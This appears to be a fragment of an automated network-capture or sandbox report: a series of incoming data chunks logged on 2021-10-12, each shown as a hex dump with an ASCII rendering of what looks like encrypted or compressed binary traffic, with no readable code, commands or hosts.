2021-10-12 00:46:07 UTC	78	IN	Data Raw: 7c 1a cb e0 c8 36 1d b4 ad ee 85 b1 68 52 93 71 c0 91 52 ed 44 de 26 4c 63 02 81 f1 1a 75 7b 49 68 80 1e cf cf 44 5f 1e a5 4d b8 05 2b f4 cc f9 fb fa 41 d4 14 13 96 9d f2 2f 42 60 2d 8c 3a 0c 94 98 ec 15 fe f3 89 2b 90 15 a5 f5 26 39 47 a6 e4 cb 21 8a 0d 03 39 1f 47 1a 07 41 a4 98 f3 6c da 69 d6 f1 44 3f d2 ac c3 ff 82 1c f6 16 73 31 87 07 86 cc 45 11 59 ee 7f 65 95 86 19 ce e3 c9 1d eb 4f 81 15 00 02 91 66 9a 3e 0f fe 66 b1 50 88 3c 06 19 30 ec bb 11 6a 56 27 eb cb de e4 67 12 fa 52 7e 25 08 c6 90 0a 00 25 7a bf 05 35 5a 0a 00 25 7a bf 05 35 5a 80 35 2c 6b 61 b6 2d 67 f7 47 06 ad 12 99 18 ec e2 41 cf b1 6d 6c 14 da d9 a7 b4 67 08 db 5c 31 0f 40 ff bf aa e6 45 4c 9c 10 35 46 e2 72 93 be fd 0e c7 12 b1 45 13 a7 43 d0 e9 27 20 0a df 5d 01 64 6b 51 74 2c 83 Data Ascii: \|6hRqRD&Lcu{IhD_M+A/B`-:+&9G!9GAliD?s1EYeOf>fP<0jV'gR~%%z5Z%z5Z5,ka-gGAmlg\1@EL5FrEC' ]dkQt,
2021-10-12 00:46:07 UTC	93	IN	Data Raw: a7 2e ca d7 ef 57 10 50 d4 2f e5 da 91 ab 42 7e a4 29 d8 73 0a b7 f9 05 fa 6d cb 7d 30 de 9d cc a7 2b 83 fb 0f 3d 01 a8 74 1b b0 b1 06 53 98 6b c2 7c 85 f1 10 be e8 ca 79 d1 ef 8d 1f 7c 35 0c 2e ae 3a fb 78 09 cc f8 02 d2 b8 fb 53 a2 18 32 c8 d2 9b ea 9b 35 5a 5f 7d 50 89 ef 93 bd d2 5d 6d 9f 4f b4 eb 7e c1 f7 6b 3b b2 bc e6 ee cb 97 f6 36 4b 15 ca bd 50 a6 f0 b4 d0 73 f1 fa 9e f4 a5 06 74 5f dd 2a d0 d2 bf 89 a0 92 6e a8 11 fe 3f 0d db eb 21 33 61 3f fe 9b bf 78 64 fe 71 33 9d 29 2e 08 c0 43 d8 a1 a4 94 b2 60 39 4f 13 2b 13 01 db 6c 6f ce 8f 22 fe 2d 5d 18 2b b8 c7 20 31 5c 28 cc 2e c0 b4 45 d1 e6 13 59 6d d4 c9 e9 23 1b 1e 82 14 e1 90 ef b8 d7 34 e7 e9 a5 2c fd 33 9f 98 35 42 2f 99 f8 78 3b 9f 25 f6 72 3a da 93 8a 65 ae 70 4b 8d bd 72 3e 43 2a b9 cb 03 Data Ascii: .WP/B~)sm}0+=tSk\|y\|5.:xS25Z_}P]mO~k;6KPst_n?!3a?xdq3).C`9O+lo"-]+ 1\(.EYm#4,35B/x;%r:epKr>C
2021-10-12 00:46:07 UTC	96	IN	Data Raw: 66 84 9e 19 4c 51 fd fd 57 0a d0 b4 15 82 4e f7 61 8a 47 5a bc 1d 99 af 7a fc c2 f3 ca dc be 43 34 bf 2f 46 07 27 15 48 e6 0c 97 f7 d5 41 cb b1 77 96 64 3e 72 d6 2d 7a b2 65 23 b7 4d db dd 9f 85 f3 9d 51 4c 43 bf 6a 1d 04 e3 cd 61 b2 8d 61 12 f7 c3 6e 8a de 1c 3a 65 d6 50 2c 64 fa da 52 a4 04 90 01 92 07 f6 b7 80 b1 47 5d 66 84 fe 46 a8 8b 51 af a9 80 a5 93 52 c3 58 67 92 e3 83 7f 59 31 f7 35 45 63 97 83 9b a1 28 9d de a1 24 65 d2 55 67 4d 87 ab 2b f2 8a bb ba e1 66 d7 af 69 64 a0 99 dc e3 e1 16 0b 08 8a 6c 80 2a d7 f9 17 f0 42 c7 06 23 9e 2f 68 ce 08 44 dc de b4 97 0b 13 94 00 ce 3f 44 cf d6 f7 ca 34 1d 3b 19 92 b7 9c bd 52 51 5f 00 93 89 8e 8d 0a c3 b3 7a 40 75 cd cf f8 6f cf f2 45 57 4c 13 0d 15 7b c0 1a e9 76 9a 3b ef cb be 35 2d 82 58 01 9c d1 9b ab Data Ascii: fLQWNaGZzC4/F'HAwd>r-ze#MQLCjaan:eP,dRG]fFQRXgY15Ec($eUgM+fidl*B#/hD?D4;RQ_z@uoEWL{v;5-X
2021-10-12 00:46:07 UTC	112	IN	Data Raw: d3 be 74 ff 96 a5 41 57 6c 8d 4d a9 6e 25 7b 09 34 51 b7 b6 34 2c ba a0 66 7a 43 4d d7 8c 71 41 d4 4c 73 54 fb 82 83 2f de 2c 68 5c 18 82 14 61 47 44 a1 bd d3 05 82 62 e4 f4 a9 25 08 4d 43 44 f9 82 f5 69 d0 aa 89 ba 3e fb 95 70 62 01 32 80 56 5a ee b9 56 c8 c2 45 16 f8 79 90 83 fe 72 d7 fc ec ff 87 65 da 51 a8 2c ef 2d 5b f8 41 c2 1b 9d 89 33 c3 8c 2f fc da b7 f6 26 92 8d 8b 53 0a 6f cf 43 fe 06 b6 f7 db 0f 93 92 8a f1 65 73 28 39 b6 9a bd 97 51 07 53 5f ca 72 2f 8c d6 54 bb 54 fc 6a ae 85 a7 09 72 e4 60 ec 15 ea 68 ec 15 1a 78 72 8a a2 56 7f 89 5c 50 2f d2 8e 28 dc dc 36 9e 82 d8 94 28 73 1a 16 5f 14 55 6d ed f0 2a 03 65 30 35 93 e8 7c ff 2c 29 69 23 36 ea 0b 92 a1 95 ba 84 4c b5 70 ed bb 0e c9 f8 c3 81 f3 78 c1 0f f6 95 c5 f1 4a b2 f5 9a ad ed f1 6c 8f Data Ascii: tAWlMn%{4Q4,fzCMqALsT/,h\aGDb%MCDi>pb2VZVEyreQ,-[A3/&SoCes(9QS_r/TTjr`hxrV\P/(6(s_Um*e05\|,)i#6LpxJl
2021-10-12 00:46:07 UTC	128	IN	Data Raw: b5 d5 b4 c1 04 2c 45 ec 93 d2 28 65 7d b9 14 b2 0f 47 11 f0 17 e3 87 53 83 e6 31 6e 77 00 a9 6b 9a fa 72 ce 17 fb f1 3d 4b 1e a8 b7 19 cd 2c 58 ff 19 b2 45 e9 ec d4 ec f1 3f 7e 9c c1 0b 8a 5f e6 ce ab 32 51 2c 29 70 20 1e e6 67 a8 2d 4c 43 73 00 b9 10 46 e4 12 0a bb 4d e5 38 ca db 2b e9 fa 77 22 10 99 00 86 f9 7b 75 db ed 6d b7 fb b8 d0 7d 31 d9 ea 2c 93 ce 5f 20 81 de 44 3f 0f 62 8d d8 0e bd 2f 4d 41 55 95 f2 f0 f6 93 38 d6 cb 97 a4 48 da 83 c3 9d b1 94 3a b4 e3 74 90 73 4f 35 81 cd 5b a5 97 4e a9 94 8c 73 43 c1 36 7a 17 a7 1f f6 91 51 f0 b5 dd 23 2b b8 98 df 57 17 f9 ce b3 61 80 ed 87 9f 71 32 19 a5 0f f7 89 8d 1b 73 50 61 cc e9 57 45 12 d0 9e aa 03 dd 34 b7 16 7c 2a f3 c0 35 d4 bd 27 98 39 7c a5 c5 f6 7b 3f c9 4e 71 18 f5 02 b6 97 a1 d9 13 d1 3a bd a1 Data Ascii: ,E(e}GS1nwkr=K,XE?~_2Q,)p g-LCsFM8+w"{um}1,_ D?b/MAU8H:tsO5[NsC6zQ#+Waq2sPaWE4\|*5'9\|{?Nq:
2021-10-12 00:46:07 UTC	144	IN	Data Raw: a0 59 44 a4 37 15 45 d3 85 25 91 d7 81 10 42 26 6b 2c 54 e6 5b 0a cf 70 8f 55 86 65 7a 86 0f 5d 13 a8 28 16 e8 33 b1 c5 ec 09 c9 08 15 42 b5 3d 87 71 7e 41 4d cf c5 aa ab ce b9 2c c2 96 8b 0c 40 86 2c 6e 81 3a b7 27 14 03 22 c8 f1 5c ac c1 a6 f4 d7 ab e4 49 8e 28 18 33 11 89 c1 cd 29 36 d3 ac 6f b2 da c0 78 83 96 65 03 27 ca e7 1e 6c ba b8 ce 15 c4 9f cb d7 c3 4e c3 ae 6c ea c2 b1 28 67 fa c0 21 1f 53 a1 84 49 73 96 bf 85 77 63 2b 7d ef 5c fe 94 31 73 a7 90 c5 e3 cd 9a 99 bf f8 5f 94 0f 66 a8 eb 9b 4e 46 b9 15 ef 36 5f 01 b5 da d7 98 2c 6f 49 0d fe b5 bb 90 35 f2 a9 46 49 31 d2 72 cb 63 a7 4f 4b 28 02 d9 c6 9c a3 56 da 61 df 7a 5c bd b1 59 9a 6e a6 3c 1d 6e 93 19 e9 44 75 c9 01 fe 75 46 21 74 93 d3 03 5b b5 11 7e 37 83 46 68 83 55 84 62 8c 70 39 6e 51 30 Data Ascii: YD7E%B&k,T[pUez](3B=q~AM,@,n:'"\I(3)6oxe'lNl(g!SIswc+}\1s_fNF6_,oI5FI1rcOK(Vaz\Yn<nDuuF!t[~7FhUbp9nQ0
2021-10-12 00:46:07 UTC	160	IN	Data Raw: 31 a7 dd 47 b5 7a d0 9e c5 04 e4 1a 30 38 7a ac 42 ae 53 2a 5c 83 1d 73 fe f9 ca a9 96 f3 b0 d1 e9 5d 4a a4 52 66 cb 91 28 54 ff f2 84 d8 f1 39 3b 60 87 23 5b 71 71 92 f9 75 15 34 82 eb 25 72 38 85 0a e1 73 31 fa 00 bf b5 84 93 60 93 22 c8 88 1b 65 db c8 b7 7a a0 7e 3a 48 3b 5a b6 8a 49 f2 6e 57 49 61 97 f2 9f 27 1f 3b 0c db 0a a8 2e 68 31 1e 9d 3c 2c cf 45 ee 2b 45 ad f0 9a b8 7c 5d ae ed 0b ad e1 dc b4 25 89 26 53 0b b5 d5 5c 90 7c cf 73 b5 98 4a 19 d8 e0 bf 3b 30 91 59 e7 18 af d7 a4 1c 78 75 5c 6f 9d b8 94 bb 3d ac 22 70 fa d6 b5 5c a6 3e 23 b1 78 f5 f2 04 16 fa e0 cd 1a 61 a3 a4 be cf 22 c2 80 be 91 55 79 2b 2a d5 69 d2 9f 19 9c 20 07 7f e8 45 e6 52 2b 5a 8e 89 ce a9 06 dd 27 cb 41 dd 75 66 2d 15 a0 6c 17 2f 71 45 31 f7 7d d0 dd cf dc 28 3e 7b 49 8a Data Ascii: 1Gz08zBS\s]JRf(T9;`#[qqu4%r8s1`"ez~:H;ZInWIa';.h1<,E+E\|]%&S\\|sJ;0Yxu\o="p\>#xa"Uy+i ER+Z'Auf-l/qE1}(>{I
2021-10-12 00:46:07 UTC	176	IN	Data Raw: 24 7c 36 f6 e4 eb a7 a8 43 af 21 ce f9 ee c8 23 79 d3 a0 49 ab 0d 9a 54 0c 98 e9 94 3c d9 1b 5a 18 c3 ba fc dd 1f 71 40 84 68 63 9e 07 ce 99 2d 67 3d 9b 4a 26 1e f2 a1 c8 93 b3 26 27 df 70 88 7a fe 64 d2 c3 01 dc 08 ae d0 8d cf 0d 92 d8 ae 0f e8 15 d0 c7 fe 3a 41 eb ce b4 fd 7a e8 ad 50 f1 a3 3a 49 d0 b8 ca 6a 9d 58 dd 41 6c 5b db db 13 95 34 db 1e 14 05 be f3 38 18 ca db 4a 27 cb 24 0f 5c fa 73 86 06 58 5e 44 21 a3 b2 05 67 ee fe 35 1b fe b2 ba fe a7 9b 14 79 9d 2c d5 2d 1c e9 59 be 71 cb cb 9a 25 f6 aa ed 92 bc b7 2a 00 ef b1 7f 5f 3e 56 ef 06 45 6c 83 40 d5 0c 74 26 4f 01 d1 62 8e e8 3b 23 a6 7c 1b f8 d5 fa a4 f1 a6 77 e8 66 ec bf 11 8a 96 8a c6 c5 cf dc a4 30 2e b7 e5 0c e1 ed 4e 26 71 60 56 e1 ce 1d 1e 03 ec db c2 18 9f 4b f1 df 46 42 10 88 71 a5 78 Data Ascii: $\|6C!#yIT<Zq@hc-g=J&&'pzd:AzP:IjXAl[48J'$\sX^D!g5y,-Yq%*_>VEl@t&Ob;#\|wf0.N&q`VKFBqx
2021-10-12 00:46:07 UTC	192	IN	Data Raw: b6 1a 0f 69 10 f6 3d 51 5e 82 dd 8f ee ce 38 9f 25 ee 3e 57 d5 38 fe 36 1e d6 2b 3f 5b ae de 6b f0 3c 9f 05 3f ee 78 84 f6 80 64 1e b3 7a 67 a1 78 b1 90 93 b8 3a ba fb b9 63 6b 4d 5e 7f 42 e4 5e 90 26 99 35 aa 51 30 6d bd 78 35 a3 cf e0 05 61 97 b5 d5 e6 d0 4b 4d 3f a5 ea d6 17 48 af 5d 0c 66 a1 71 89 70 37 0e e5 82 67 3b 69 0c a8 e2 37 be 2e 17 5f 4b a0 7e f3 77 ed 5d e1 22 fa 6d ae 31 8d 4a d6 e7 dc 1b 20 76 41 07 82 66 eb b7 df 8a 5f 86 51 04 77 eb 3a fa 1b b8 17 d4 8c 4b 6c 62 4b 82 5c a3 66 69 03 40 c5 ec dd 87 fd f9 cf 9d f6 b2 31 51 bd 0d 28 1a 51 c6 89 12 50 bd c3 ef b9 be 96 cc de 95 49 6a f7 60 ca 3a 9c 39 05 af cf 68 40 95 db 0d 0b a6 6b d7 db 1b 3d f4 cb 04 1c 55 ce 3c d6 74 85 f9 0c fe 38 47 69 c8 94 ea fe bd 29 d1 42 39 f6 d2 9b 92 b6 53 82 Data Ascii: i=Q^8%>W86+?[k<?xdzgx:ckM^B^&5Q0mx5aKM?H]fqp7g;i7._K~w]"m1J vAf_Qw:KlbK\fi@1Q(QPIj`:9h@k=U<t8Gi)B9S
2021-10-12 00:46:07 UTC	208	IN	Data Raw: c7 b6 50 3b 1a 93 b6 c9 15 2f fa b4 6b 15 20 cd 15 54 d0 26 37 39 2d dd f5 85 5f ad f6 ee 1b 37 b0 2b ab ba 8c fd f4 7b 35 cf ec 5b 6b a5 f3 88 34 3d db 5f e2 2e 49 97 d2 09 01 b8 fa f8 09 b2 8d a9 b5 7f 8a 12 6b fc 3f 5b 17 aa fb bf 33 08 90 9f b1 93 c2 06 83 92 f3 44 07 f5 c9 ce cf 1a 19 69 d5 de 63 91 42 7c 57 a5 37 26 fd 88 ba 28 e1 19 37 4d 85 77 19 e9 27 01 ad d0 2f 10 46 8b bc 8f 81 fe 8f e1 7e dc 67 9a b0 d7 a9 b5 f2 ca f3 98 66 72 87 b9 3a b5 4c 4d f1 91 19 07 37 b5 cc 41 34 a9 bb af 34 7b 98 69 61 45 af 9d 4e db 07 48 53 7b 2f 00 b5 0c f3 df 4d fb a6 5c 7b 0d a7 8d 69 42 94 b8 85 1c c9 cc e0 41 1e 92 52 1f 20 5d 0a a6 5e 7c 48 32 99 7b d7 5e 80 35 74 78 7e c9 da 1e f7 61 70 31 0d 8e 58 ec 99 91 72 ce 59 75 4c 27 3c 0b ae 02 85 9a 5b 2d 3f 27 7d Data Ascii: P;/k T&79-_7+{5[k4=_.Ik?[3DicB\|W7&(7Mw'/F~gfr:LM7A44{iaENHS{/M\{iBAR ]^\|H2{^5tx~ap1XrYuL'<[-?'}
2021-10-12 00:46:07 UTC	224	IN	Data Raw: 72 4a a7 fc d9 4f 14 23 02 70 8f 74 24 dd d7 c6 2e b9 d6 7e ac 31 43 97 dc 1d 01 ca d1 18 01 8f ea c2 2d 7f 9d 2c 8c 29 cc fc 92 79 0e c5 d5 1b 73 43 9d 8a 4b 86 50 88 16 01 f3 b1 89 c6 c0 ed 58 4f e8 6a ea bd 30 42 4c fe a9 d8 5b 46 ff 53 20 03 70 40 ff a1 1a 18 28 42 51 6d e7 63 68 4d d3 57 bf 34 90 45 ab ba b5 85 04 be e2 ac 2b d2 3f b7 c9 33 9c 8a 5b 84 53 cb e6 32 62 f3 13 57 05 36 a5 20 24 38 d6 91 c4 57 86 d2 af 51 b2 20 0e 06 9e 1d b8 e4 12 2a 7d 0a d8 15 58 52 e8 4f 6c 17 fe e1 92 2e 5a ef 62 88 59 2e 23 a6 b9 35 74 fa f0 b8 f3 df 0c e0 f1 8e a1 59 7d 33 39 2e 1c 04 53 82 4e 72 26 0f 4a 39 65 bf 74 c5 c0 50 ae 8a 93 ef d6 9c 89 b6 f3 cc 17 5d 3d 5e 55 01 ff 38 f0 bf 66 1f 63 35 78 8a 49 be ba 89 6e 36 dd 6c 2f d4 39 6a a6 67 1b e5 72 a5 44 45 d3 Data Ascii: rJO#pt$.~1C-,)ysCKPXOj0BL[FS p@(BQmchMW4E+?3[S2bW6 $8WQ *}XROl.ZbY.#5tY}39.SNr&J9etP]=^U8fc5xIn6l/9jgrDE
2021-10-12 00:46:07 UTC	240	IN	Data Raw: 80 d5 a3 83 ad 4c de f7 de 8e 49 9d 5d e7 e3 11 ab f9 3b 5d 8b 63 9e 3e 95 24 3d a1 99 05 ba 33 88 22 18 6f c9 1f 4a 84 54 fa a5 89 b1 3a dc 0e 84 a4 ac 2e f6 20 a1 4b a3 f2 5b 49 85 16 fd 9a 47 c9 cd a1 84 63 8c e2 11 62 c0 d9 44 77 d8 57 47 6f 52 e1 b2 44 38 5d 12 dc 60 4b 4b 9a bd 9b 05 16 2c e8 91 bc 83 a7 9b 1d 6a be 47 cc 1e bf 48 2b df 11 ac 8e 50 21 7b 9f 82 8b c9 3e 50 56 f3 28 b9 e2 24 b9 4c 73 a1 d1 23 c7 15 55 a7 4d 6d 1c c5 b8 2f 24 cf 13 19 d1 5a 8e 0d 6c 44 f5 a7 d5 58 de 54 e0 bf 68 7f c6 53 79 17 7f 11 2d 38 76 b6 10 9f 2d f6 11 15 8b 20 2a f8 8f a0 76 3d eb e3 64 76 51 63 17 a6 2b 10 cf ab 73 0c 97 ce e3 39 1c cb c3 6f bd e3 19 d6 04 ef 03 76 fc 5c 44 75 cb be dc e3 e9 7e 6e b4 99 cc 2b 24 bc e7 42 f5 45 28 02 0d 42 97 a8 f5 40 61 00 18 Data Ascii: LI];]c>$=3"oJT:. K[IGcbDwWGoRD8]`KK,jGH+P!{>PV($Ls#UMm/$ZlDXThSy-8v- *v=dvQc+s9ov\Du~n+$BE(B@a
2021-10-12 00:46:07 UTC	256	IN	Data Raw: 16 1d f4 94 d9 9a e3 75 79 32 e2 4f 20 f9 11 c8 74 45 0d 92 3c 96 7f 5f a7 30 9b 72 ce bb 6e cc a9 4b 81 c3 f2 fd e0 d7 26 0a ce ab ce 94 69 27 7b 78 4c 61 a5 e0 77 26 60 e6 11 2d 7b 0a 26 5d b8 3d 38 01 97 2b 26 22 a1 9d 95 75 f9 6f 35 4b 6b 7b db 5e d2 ce 4f 39 6d f8 cc f0 d6 a7 dd 93 81 0e c8 1f 45 ce d4 79 f3 a9 2b 50 23 83 14 c5 e4 40 1d cd c6 96 34 1d 8d d5 fe 44 e7 6b 35 4b f7 b3 b0 8f 30 92 3e d8 8e 52 12 62 b5 0d bb 0a 86 08 0d e2 66 e6 85 e4 cc e7 a6 d9 cc a9 91 9c 87 69 df 10 86 cd f0 85 ec 93 c5 4c 82 d8 f0 a2 b5 be 3c ee 6e e3 71 64 66 43 f1 93 36 da d1 91 aa b7 b0 50 ee 12 86 bd 79 35 2d 95 0f 29 f6 77 9f 89 b3 4b c8 09 3f e4 b3 54 00 73 72 ad 3a 3c d0 3e 7b 5c 84 39 79 f8 51 f4 9e ca 0f 8a e2 7f 63 8f 0f 06 36 d5 7c 2c ff 71 59 8d a5 12 e0 Data Ascii: uy2O tE<_0rnK&i'{xLaw&`-{&]=8+&"uo5Kk{^O9mEy+P#@4Dk5K0>RbfiL<nqdfC6Py5-)wK?Tsr:<>{\9yQc6\|,qY
2021-10-12 00:46:07 UTC	272	IN	Data Raw: 6f 0f 13 57 6d 02 b4 dd d2 f5 f3 0d 31 ad d8 78 37 1a 5d af c9 9d 84 08 1c 30 44 e8 90 d1 fd 66 cf 0e d5 38 e4 8e 38 80 ee 1c 6f 00 82 76 a1 3b b0 02 3b e5 13 04 e9 bd 6e 39 ed 81 0c 61 f0 dc b3 71 3b 57 84 b8 54 b2 dd d1 83 6b 46 a3 06 58 28 cd 02 1f c5 bf 87 8a 99 47 b8 3e 05 0b c1 02 cb f9 df fe 73 11 0c b5 d3 73 f6 3d 29 89 d8 69 66 f3 f3 a7 ae 85 fe 26 ab 5e c0 1f 5b 51 63 e6 de 11 02 41 a3 1d 6f c6 85 e5 ec f1 38 d5 05 06 20 d1 a2 80 63 82 c3 26 fd 1b 15 e5 ff 9f 52 f0 d4 cd 63 23 ba e8 4a ae 04 ad 89 ae 96 07 b0 78 74 e5 3b 11 ef 7c 6e 79 a6 b2 78 82 65 aa 80 e4 7c 39 53 4e 09 aa 70 8b cf e7 c3 09 d6 7f 1d 19 03 8c 23 3a 70 21 71 e7 b4 ff 4e cf e2 af a9 c1 c8 e7 f2 bb 0f a6 cc 91 43 67 ac 7a b0 e5 06 ca 21 ef c4 1d 73 8c 7e 29 08 87 da 3b ab d7 5f Data Ascii: oWm1x7]0Df88ov;;n9aq;WTkFX(G>ss=)if&^[QcAo8 c&Rc#Jxt;\|nyxe\|9SNp#:p!qNCgz!s~);_
2021-10-12 00:46:07 UTC	288	IN	Data Raw: f0 9d 7d 9b ee 59 95 7f 28 a4 2d 1f ff 17 f1 41 93 ce 2b 54 b1 23 9a ea 85 2f 1d 3f c4 45 dc c5 5e 16 c6 0a fc 57 65 dc 79 19 99 f8 57 bc 4f 80 d7 85 39 4b 3c 4b 28 1b b1 c6 9b 8b 6b 26 02 46 f1 e6 22 e2 2b 41 00 24 0f 9e 10 8b ee b0 45 4b 77 1d a5 63 11 f7 c6 59 1c 1d 0d ba e8 43 c1 46 ba 34 83 2a 89 8d a2 4f d2 54 b8 c6 e0 87 5b cf c9 e5 20 37 db 55 60 d5 08 6a 72 af 50 6b 7c 1a eb 86 01 6c 3b 26 af 8a d8 ce e4 65 d8 fb f4 9c ba 34 83 2a 89 8d a2 4f ac ab dc 11 68 60 94 d5 a2 a5 5e f7 f5 64 7b 65 9b a6 63 af 69 4f 4b 12 4a d4 64 1f f9 a3 dc fb 4a fa 7d cf 7e c9 c8 ab 3d 18 71 83 77 b8 09 fb c3 23 cc 35 6d 1d c3 2a cd ed e1 60 6d b9 a2 61 53 c2 45 29 94 95 b5 90 86 2c 9c 0f 6a 21 67 c8 1d 8c c8 a5 e1 d6 78 c2 35 d1 e8 87 5d 48 ba ab 41 fb 2f 03 1f c6 26 Data Ascii: }Y(-A+T#/?E^WeyWO9K<K(k&F"+A$EKwcYCF4OT[ 7U`jrPk\|l;&e4Oh`^d{eciOKJdJ}~=qw#5m*`maSE),j!gx5]HA/&
2021-10-12 00:46:07 UTC	304	IN	Data Raw: c2 96 aa ca 0c 30 56 0d d6 75 a2 04 20 14 6e 74 cb 17 7c c7 e4 48 a1 f2 a9 11 5b e4 c1 e1 02 cb 9c 86 ac 24 1b 78 1e 30 4c 59 2f 3b c9 92 18 4b 43 65 6f 52 c5 4f 52 6a bf f1 6a 70 d7 43 f6 8e fe 73 ac 24 47 56 50 5f 17 b6 c1 05 68 67 83 4e c4 4b 5d a8 1e 9b 0c ec ad 46 04 81 18 50 1e 8e a9 24 ae 1b 97 2f 8d 85 10 6e 40 11 c7 81 59 f4 2a b7 68 b9 ef c6 89 77 4e da e0 03 20 82 ba 64 92 54 84 f2 70 bb b1 ba 70 13 b9 8a 62 8b 70 4e 94 d7 bd 48 c2 f1 3c 1d ee 55 87 c1 41 05 5c d3 01 47 46 de 64 01 91 56 b3 34 f6 48 48 23 66 87 ac c0 bf 5f 00 54 da 43 c7 f1 b2 f2 6f 92 35 b6 16 56 98 d9 34 df 78 36 2b bf a3 4b da a2 2f a7 05 6b 20 69 3d c6 56 4f 74 f3 5e 63 ff 1f c4 ed ff ef 49 e1 fa 6e dc 2b af 0e 15 ec 2a dc 45 7d a6 24 e2 f9 5c 50 5e e0 7d f8 bf 90 bc 15 82 Data Ascii: 0Vu nt\|H[$x0LY/;KCeoRORjjpCs$GVP_hgNK]FP$/n@YhwN dTppbpNH<UA\GFdV4HH#f_TCo5V4x6+K/k i=VOt^cIn+E}$\P^}
2021-10-12 00:46:07 UTC	320	IN	Data Raw: 0e 6a 43 fb 7b 16 60 3d ae 6a 89 80 22 45 11 60 82 a2 b9 c3 4f 17 d5 85 e3 4e 20 e9 49 e8 a6 e6 53 6e 42 b1 cc 87 9b 68 02 7a 72 a0 1d 21 bb 6a 25 d7 5e 01 c8 7d ec c0 55 f3 8f be d2 56 55 0f 8e 02 0d ba a0 c9 72 11 1c 64 0c 5f 3c 98 db ff 22 dd 29 a9 c1 2b ed ad 2d 16 6b 3d 1a 95 3b e3 f1 47 72 af d3 bb 28 0f 1d 29 2c 61 d6 25 bd f6 6e 83 2c 58 36 22 57 39 06 6a 12 a1 6d 3b ad 7d 10 4d 0f 32 bb c3 aa 17 91 39 63 81 84 e7 7f 9c 75 97 2a 7e ec cd d6 c1 59 9a 42 de 86 99 19 e6 ac 78 3e 53 4a 51 22 58 57 aa 0b 82 6d 2d 41 c6 72 70 7d f1 cd 79 40 65 e7 e9 5b b7 da 58 51 2d d7 82 11 65 16 18 12 7f db 98 3b 5d 52 ed 89 06 d6 8a a6 db ae fe 55 59 39 c1 49 fe 71 96 d2 f5 e1 40 42 41 d2 76 ca c6 d4 c1 6f 85 8a 5f 27 5a 8f 08 ef 58 4e db e2 9a d8 6a 44 56 34 d8 3c Data Ascii: jC{`=j"E`ON ISnBhzr!j%^}UVUrd_<")+-k=;Gr(),a%n,X6"W9jm;}M29cu*~YBx>SJQ"XWm-Arp}y@e[XQ-e;]RUY9Iq@BAvo_'ZXNjDV4<
2021-10-12 00:46:07 UTC	336	IN	Data Raw: c9 df 7c bc 44 6c 90 3c dd fe 92 c5 56 97 45 95 e5 9e 42 e3 42 27 97 ab eb 61 ef 46 a9 a0 d9 af 4e 88 6c 0c a2 14 e2 9d 2c 43 5e 2d b6 92 59 d6 3f 2a 8e ae c3 6d 6c 78 46 76 94 77 e7 99 2d 1a 34 99 23 96 8b 93 f2 67 bd a7 11 d6 ce 97 87 2b 13 f7 dd 97 25 cd 48 fd b1 b1 07 0f e4 f5 2d 92 ad 7a 3f c0 d1 4d 46 da cb 2f 0e 67 4e fd a1 26 dc 32 59 fc 4c 26 9e 49 ff 87 de 22 f9 a6 ae 7d 97 e5 8f c1 db 5d f8 4a f2 58 99 84 fb ea 60 f4 55 23 b6 09 30 b8 11 ec 5a f9 3a bc 2f 14 06 7c 13 6e 19 9d 3d f5 b3 ba ff 46 21 da 5e d4 96 89 24 d1 2f 95 52 be ad 6a 39 05 02 c8 d8 6a b5 85 14 14 7e 28 d9 9d b1 2a 59 59 5d 29 fe d7 f3 61 2c 5c 23 61 37 cc 62 03 20 ba 94 2f 0b c9 c4 87 17 ed 8e bf 15 50 a7 a1 15 4d e7 d3 42 45 dd 37 61 02 fb 8f e3 70 41 5f d7 0f 97 f2 76 e2 da Data Ascii: \|Dl<VEBB'aFNl,C^-Y?mlxFvw-4#g+%H-z?MF/gN&2YL&I"}]JX`U#0Z:/\|n=F!^$/Rj9j~(YY])a,\#a7b /PMBE7apA_v
2021-10-12 00:46:07 UTC	352	IN	Data Raw: 50 32 e6 38 16 b5 66 e8 61 39 4c 6b 12 75 fc 40 a2 b2 0b 19 20 b2 bd c5 41 1f 0e f5 35 50 bd d7 c6 00 8f b8 ee 7c a5 9e a0 0b 1a 30 a8 5f d1 f4 c6 dd e3 8f 5e f4 9a 3a ba a1 db 75 f5 fd 80 ce d7 db 95 92 11 6b c7 d2 83 3e 58 20 dc be a4 77 35 ed 8c 27 bd 32 1d 1b 61 a5 f1 b1 db 4a e4 eb 9c 3b ed 1f b3 3d 8a db 1d f9 30 4f a9 ae 8c f3 80 67 d9 33 18 d9 14 e5 b6 70 65 63 ad ad 8e 7b 58 cd f0 6d 80 4c cf ab db 37 34 d0 9a 0a 1d c4 46 ce 83 12 da f4 2b 12 3f 66 61 d3 af 5c f8 98 f8 5b cb 5e a8 20 b7 c2 1b 63 4b e9 d9 bf 7b 33 c9 94 89 eb fa 6c cf fa 9f c1 29 eb 12 2d 78 49 d4 a3 c9 d8 6a c6 0f a9 28 48 83 64 09 7e e7 d1 a0 ae b5 2e ab 5b fb 6a e1 ef c6 4b 1e a5 98 09 3f 9e a3 a9 16 d1 ad fe 15 f5 71 8f d7 cf 8b 62 51 ab 4e 18 93 ca c9 32 90 7e fd 1f 4c 28 8e Data Ascii: P28fa9Lku@ A5P\|0_^:uk>X w5'2aJ;=0Og3pec{XmL74F+?fa\[^ cK{3l)-xIj(Hd~.[jK?qbQN2~L(
2021-10-12 00:46:07 UTC	368	IN	Data Raw: 13 04 0b 90 9b 43 5e 02 35 4a 5d 9e 50 13 25 d3 a4 44 73 20 10 65 3e a1 af 07 1e 49 19 28 d8 04 40 ef 31 31 8d df 8a 44 52 cb c1 0b bb 55 2b 3b 35 76 8b 40 e5 53 67 71 19 f2 e2 eb bf 30 f2 c1 a4 bf 67 f3 6a 53 b5 19 88 69 bf 08 4f 01 4e 76 01 43 1a 22 36 46 b8 97 fe 25 97 92 ce 9e 6d d9 89 c1 84 ad ac fb 3b 11 e8 df 8e 22 04 30 48 64 b5 ff ba 23 1b 0d af 9e 86 ff 93 96 e2 70 d9 d3 64 8e 57 d0 62 a1 d9 f6 23 cc 61 e4 67 b0 44 56 70 63 ca 70 b2 36 c7 b8 9a 06 fa 21 0a 32 73 71 fa cd ef fb 47 67 76 bc fe 91 28 89 2b 01 25 36 90 04 37 a0 d1 80 1b 26 2b 6b eb 7f 4e 52 df 25 be f8 26 62 ae 0b 48 41 c7 bf ed 7f 60 4e 79 16 b8 2f 5e 0c e9 50 e8 3d 0e 89 2a 7e ab bc 2d 4d da 9c 37 c3 35 50 00 d3 4c 29 d5 4d 56 66 7d 95 c2 ec e2 7c 91 e9 94 62 3f 83 5b 94 9b 72 38 Data Ascii: C^5J]P%Ds 